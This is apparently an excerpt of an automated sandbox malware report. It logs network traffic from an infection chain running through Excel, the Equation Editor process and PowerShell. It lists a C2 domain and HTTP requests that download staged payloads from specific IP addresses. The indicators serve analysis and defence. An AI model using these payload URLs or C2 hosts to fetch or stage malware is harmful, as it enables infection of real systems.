Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 192.227.225.166:80
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.227.225.166:80 -> 192.168.2.22:49170

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: wemberdag.duckdns.org

Source: simplebeautygirlfrndhaveform.vBS.7.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: simplebeautygirlfrndhaveform.vBS.7.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
Source: simplebeautygirlfrndhaveforme[1].gif.7.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: simplebeautygirlfrndhaveforme[1].gif.7.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4

Source: global traffic	HTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /36/RYND.txt HTTP/1.1Host: 192.227.225.166Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 198.46.176.133 198.46.176.133

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: global traffic	HTTP traffic detected: GET /4Gs HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /36/hb/createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy.doc HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.227.225.166Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /36/simplebeautygirlfrndhaveforme.gIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.227.225.166Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166
Source: unknown	TCP traffic detected without corresponding DNS query: 192.227.225.166

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5F3A75C5.emf

Source: global traffic	HTTP traffic detected: GET /4Gs HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /36/hb/createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy.doc HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.227.225.166Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /36/simplebeautygirlfrndhaveforme.gIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.227.225.166Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /36/RYND.txt HTTP/1.1Host: 192.227.225.166Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: tny.wtf

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 06:24:37 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4GKbrAxCyu4ckcdd7iAo6Tcgp03XtmVNauhTW%2BRSmJpBVdfbISz3z5H2VVSfWhvepwJdddiwDm9DpAxY3Ws6PRi8spA%2FrtdxjnFTBUTzYy8GJUBV%2BIz55ISJ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a924ec87aa64313-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 06:24:38 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pjeXUPP%2Byx8OMG9N9HzL4IZTz%2BAwP%2F99bGilspcytz3uC41pT1xHW0iGDns6WkkaU5sfrWoXXHX3lCgvV%2BmMaZbTfvy7vrlEBPsIDJbqb323zERZW0REjqej"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a924ece0d584313-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 06:24:38 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NG6Uq5267NqFBP7Uub3HfRj4kZlEOxPXgjo9NgxscAhjB9krNmL4T4ik3i%2Ba%2Fy%2B9KqKrheMllf%2F9tTMRzp7hmj59rUpKPJ5N9H0vyULV3EKq6syPPsRVGHKi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a924ecfde454313-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Source: powershell.exe, 00000009.00000002.452136835.00000000081C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.227.225.166
Source: powershell.exe, 00000009.00000002.452136835.00000000081C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.227.225.166/36/RYND.txt
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000007.00000002.430940411.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000007.00000002.430940411.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.227.225.166/36/simplebeautygirlfrndhaveforme.gIF
